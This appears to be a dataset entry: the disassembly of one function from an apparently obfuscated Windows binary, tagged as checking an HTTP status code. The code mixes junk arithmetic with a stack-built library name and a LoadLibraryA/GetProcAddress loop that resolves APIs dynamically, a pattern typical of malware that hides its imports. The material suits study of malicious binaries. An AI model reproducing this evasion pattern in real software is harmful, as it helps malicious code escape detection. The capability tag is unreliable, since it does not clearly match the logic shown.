Function at 0x4020a0
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x184
push edi
mov eax, dword [0x46db3c]
cdq
mov ecx, 0xd72
idiv ecx
mov eax, dword [0x40adf0]
imul eax, edx
mov dword [0x46db3c], eax
call fcn.004010c0
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x24], 0
jmp 0x4020e2
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], 0x61a80
jge 0x4021ab
mov dword [ebp - 0x154], 0x1556cbb0
mov edx, dword [ebp - 0x24]
movsx eax, byte [edx + 0x40ae94]
cmp eax, 0x6d
jle 0x402126
mov ecx, dword [ebp - 0x24]
movsx edx, byte [ecx + 0x40ae94]
cmp edx, 0x6f
jge 0x402126
mov eax, dword [ebp - 0x24]
mov cl, byte [eax + 0x40ae94]
mov byte [0x4704a7], cl
mov dword [ebp - 0x14c], 0x18615f96
mov edx, dword [ebp - 0x24]
movsx eax, byte [edx + 0x40ae94]
cmp eax, 0x64
jle 0x40215d
mov ecx, dword [ebp - 0x24]
movsx edx, byte [ecx + 0x40ae94]
cmp edx, 0x66
jge 0x40215d
mov eax, dword [ebp - 0x24]
mov cl, byte [eax + 0x40ae94]
mov byte [0x4704a8], cl
mov eax, dword [0x46db3c]
cdq
mov ecx, 0x1ab9
idiv ecx
mov dword [0x40adf0], eax
mov edx, dword [ebp - 0x24]
movsx eax, byte [edx + 0x40ae94]
cmp eax, 0x6b
jle 0x40219c
mov ecx, dword [ebp - 0x24]
movsx edx, byte [ecx + 0x40ae94]
cmp edx, 0x6d
jge 0x40219c
mov eax, dword [ebp - 0x24]
mov cl, byte [eax + 0x40ae94]
mov byte [0x4704a9], cl
mov dword [ebp - 0x150], 1
jmp 0x4020d9
mov byte [0x4704ba], 0x32
mov dword [ebp - 4], 1
mov byte [0x4704bb], 0x33
mov dword [ebp - 0x30], 0x1a31c4dc
movsx edx, byte [0x4704ba]
add edx, 1
mov byte [0x4704ba], dl
mov eax, dword [0x46db3c]
cdq
mov ecx, 0x1643
idiv ecx
mov eax, dword [0x40adf0]
imul eax, edx
mov dword [0x46db3c], eax
movsx ecx, byte [0x4704bb]
sub ecx, 1
mov byte [0x4704bb], cl
mov dword [ebp - 0x20], 0xffffee7a
push 0x4084e0
mov edx, dword [0x408030]
push edx
call fcn.004030be
add esp, 8
mov dword [ebp - 0x18], eax
mov eax, dword [0x46db3c]
cdq
mov ecx, 0x16e8
idiv ecx
mov eax, dword [0x40adf0]
imul eax, edx
mov dword [0x46db3c], eax
movsx ecx, byte [0x4704b8]
add ecx, 1
mov byte [0x4704b8], cl
mov dword [ebp - 0x40], 0x4baa
movsx edx, byte [0x4704b6]
sub edx, 1
mov byte [0x4704b6], dl
mov dword [ebp - 0x1c], 0x4164
movsx eax, byte [0x4704b9]
add eax, 1
mov byte [0x4704b9], al
mov eax, dword [0x46db3c]
cdq
mov ecx, 0x897
idiv ecx
mov eax, dword [0x40adf0]
imul eax, edx
mov dword [0x46db3c], eax
movsx ecx, byte [0x4704b4]
sub ecx, 1
mov byte [0x4704b4], cl
cmp dword [0x46c920], 0x23e
jne 0x4022b3
mov byte [0x4703e5], 0x74
mov dl, byte [0x4706e0]
mov byte [ebp - 0x2c], dl
xor eax, eax
mov dword [ebp - 0x2b], eax
mov byte [ebp - 0x27], al
mov cl, byte [0x4706e0]
mov byte [ebp - 0x148], cl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x147]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x3c], 0x59
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x6e
mov dword [ebp - 0x10], 6
mov dword [ebp - 0x14], 0xd
mov dword [ebp - 0x44], 0
jmp 0x402317
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
cmp dword [ebp - 0x3c], 0xc8
jge 0x402333
cmp dword [ebp - 0xc], 0x15
jne 0x402328
jmp 0x402333
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
jmp 0x40230e
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x10]
add ecx, 3
mov byte [ebp - 0x148], cl
mov byte [ebp - 0x147], 0x65
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x14]
add edx, 0xb
mov byte [ebp - 0x146], dl
jmp 0x402366
mov eax, dword [ebp - 8]
add eax, 2
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x145
jge 0x402382
cmp dword [ebp - 0x44], 0x15
jne 0x402377
jmp 0x402382
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x44], ecx
jmp 0x40235d
mov edx, dword [ebp - 8]
sub edx, 0x2a
mov byte [ebp - 0x145], dl
mov byte [ebp - 0x144], 0x65
mov dword [ebp - 0x38], 1
jmp 0x4023a7
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xb
jge 0x4023b8
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
jmp 0x40239e
mov edx, dword [ebp - 8]
sub edx, 0x36
mov byte [ebp - 0x143], dl
mov dword [ebp - 0x38], 0
jmp 0x4023d6
mov eax, dword [ebp - 0x38]
add eax, 4
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0x11
jge 0x4023e7
mov ecx, dword [ebp - 0x10]
add ecx, 0xc
mov dword [ebp - 0x10], ecx
jmp 0x4023cd
mov edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x14]
sub edx, 2
mov byte [ebp - 0x142], dl
mov eax, dword [ebp - 0x10]
sub eax, 0x10
mov byte [ebp - 0x141], al
mov dword [ebp - 0x38], 0
cmp dword [ebp - 0x18], 0
je 0x402718
mov ecx, dword [ebp - 0x38]
add ecx, 1
mov dword [ebp - 0x38], ecx
mov eax, dword [0x46db3c]
cdq
mov ecx, 0x21ee
idiv ecx
mov dword [0x40adf0], eax
cmp dword [ebp - 0x38], 0xa
jne 0x402449
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [0x40a990]
push eax
call dword [0x46c91c]
mov dword [0x40ae38], eax
mov dword [ebp - 0x170], 3
cmp dword [ebp - 0x38], 3
jne 0x40246f
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [0x40a990]
push edx
call dword [0x46c91c]
mov dword [0x40ae1c], eax
mov byte [0x470414], 0x9b
cmp dword [ebp - 0x38], 0xd
jne 0x402492
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [0x40a990]
push ecx
call dword [0x46c91c]
mov dword [0x40ae88], eax
mov dword [ebp - 0x184], 0x56d4310
cmp dword [ebp - 0x38], 4
jne 0x4024b1
mov edx, dword [ebp - 0x18]
push edx
call dword [0x40ae1c]
mov dword [0x40ade0], eax
mov dword [ebp - 0x160], 2
cmp dword [ebp - 0x38], 8
jne 0x4024d7
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [0x40a990]
push ecx
call dword [0x46c91c]
mov dword [0x40ae84], eax
mov dword [ebp - 0x174], 0x37fa
cmp dword [ebp - 0x38], 9
jne 0x4024fc
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [0x40a990]
push eax
call dword [0x46c91c]
mov dword [0x40addc], eax
mov dword [ebp - 0x158], 0x4d36
cmp dword [ebp - 0x38], 0xe
jne 0x402522
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [0x40a990]
push edx
call dword [0x46c91c]
mov dword [0x40a9b4], eax
mov dword [ebp - 0x164], 0x10994c90
cmp dword [ebp - 0x38], 0x11
jne 0x402548
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [0x40a990]
push ecx
call dword [0x46c91c]
mov dword [0x47034c], eax
mov dword [ebp - 0x180], 0xffffff38
cmp dword [ebp - 0x38], 0xb
jne 0x40256d
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [0x40a990]
push eax
call dword [0x46c91c]
mov dword [0x40a9b8], eax
mov dword [ebp - 0x15c], 0xfffff26a
cmp dword [ebp - 0x38], 7
jne 0x402593
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [0x40a990]
push edx
call dword [0x46c91c]
mov dword [0x46c92c], eax
cmp dword [0x46c920], 0x1e7f
jne 0x4025a6
mov byte [0x470427], 0x51
cmp dword [ebp - 0x38], 0x12
jne 0x4025c2
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [0x40a990]
push ecx
call dword [0x46c91c]
mov dword [0x40adec], eax
mov dword [ebp - 0x16c], 0x42f5
cmp dword [ebp - 0x38], 0x13
jne 0x4025ec
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [0x40a990]
push eax
call dword [0x46c91c]
mov dword [0x40ad9c], eax
call fcn.00402000
mov byte [0x47046f], 0x89
cmp dword [ebp - 0x38], 1
jne 0x40260b
lea ecx, [ebp - 0x148]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x40a990], eax
mov dword [ebp - 0x17c], 0xab4e2ee
cmp dword [ebp - 0x38], 0x10
jne 0x402630
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [0x40a990]
push eax
call dword [0x46c91c]
mov dword [0x40ae8c], eax
cmp dword [ebp - 0x38], 0xf
jne 0x40264c
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [0x40ade0]
push edx
call dword [0x46c91c]
mov dword [0x40ada0], eax
cmp dword [0x46c920], 0x4642
jne 0x40265f
mov byte [0x470400], 0x55
cmp dword [ebp - 0x38], 6
jne 0x40267b
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [0x40a990]
push ecx
call dword [0x46c91c]
mov dword [0x46c924], eax
mov dword [ebp - 0x178], 1
cmp dword [ebp - 0x38], 0xc
jne 0x4026a0
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [0x40a990]
push eax
call dword [0x46c91c]
mov dword [0x46db44], eax
cmp dword [ebp - 0x38], 5
jne 0x4026bc
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [0x40a990]
push edx
call dword [0x46c91c]
mov dword [0x40ae20], eax
cmp dword [ebp - 0x38], 2
jne 0x4026f7
mov edi, dword [ebp - 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
cmp ecx, 7
jae 0x4026e1
mov eax, dword [ebp - 0x38]
sub eax, 1
mov dword [ebp - 0x38], eax
jmp 0x4026f7
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [0x40a990]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x46c91c], eax
mov dword [ebp - 0x168], 1
push 0x4084e0
push 0
call fcn.004030be
add esp, 8
mov dword [ebp - 0x18], eax
jmp 0x402409
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret